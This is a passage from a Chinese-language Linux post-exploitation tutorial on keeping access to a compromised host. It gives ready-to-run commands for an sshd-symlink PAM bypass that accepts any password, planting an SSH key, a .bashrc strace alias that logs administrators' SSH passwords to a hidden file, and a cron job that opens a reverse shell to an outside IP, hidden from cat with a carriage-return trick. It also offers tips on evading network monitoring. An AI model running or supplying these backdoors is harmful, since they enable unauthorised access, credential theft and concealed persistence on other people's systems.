3.SSH 后门
3.1 SSH 软连接后门
软连接后门的原理是利用了 PAM 配置文件的作用,将 sshd 文件软连接名称设置为 su ,这样应用在启动过 程中他会去PAM 配置文件夹中寻找是否存在对应名称的配置信息 (su) ,然而 su 在 pam_rootok 只检测 uid 0 即可认证成功,这样就导致了可以使用任意密码登录 :
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345
优点:
能够绕过一些网络设备的安全流量监测,但是本地在查看监听端口时会暴露端口,建议设置成 8081, 8080 等端口。
3.2 SSH 公钥免密码登陆
ssh-keygen -t rsa //生成公钥
cat id_rsa.pub > authorized_keys //将id_rsa.pub内容放到目标.ssh/authorized_keys里
这个是老生常谈的公钥免登陆,这种用法不只是用在留后门,还可以在一些特殊情况下获取一个交互的 shell,如 struts 写入公钥, oracle 写入公钥连接, Redis 未授权访问等情景。
chmod 600 id_rsa
ssh -i id_rsa root@192.168.12.168
3.3 SSH Keylogger记录密码
当前系统如果存在 strace 的话,它可以跟踪任何进程的系统调用和数据,可以利用 strace 系统调试工具获取 ssh 的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。
在当前用户的 .bashrc 里新建一条 alias ,这样可以抓取他登陆其他机器的 ssh 密码
alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
设置完毕后,倘若当前系统不存在 alias ,那么就会影响其正常使用:
grep -A 9 'password' .ssh-2210月101634901802.log
4.Ubuntu利用Cron机制安装后门
首先,说明一下, Cron 是 ubuntu 下默认启动的用户执行计划。它会按照设置,在固定的周期或者按照 一定时间执行某一个任务。它是一项服务,你可以使用基本的服务查看状态命令等查看信息。
service cron status
查看普通用户的执行计划。(如果你显示没有计划不要着急,后面加上 cron.allow 和 cron.deny )就有了
crontab -l
查看crontab的选项
查看具体的用户的执行计划
crontab -e 编辑任务
crontab -l 列出任务
(crontab -l;printf "* * * * * /bin/bash -c '/bin/sh -i >&
/dev/tcp/192.168.79.3/2334 0>&1';\r%100c\n")|crontab -
把反弹 shell 加入计划任务里执行
计划任务路径:
cat /var/spool/cron/crontabs/root
root是计划任务的文件 使用cat是看不到内容的 因为是用了某些特殊字符 导致某些内容被隐藏可以使用 crontab -e 编辑任务可以看到反弹shell的内容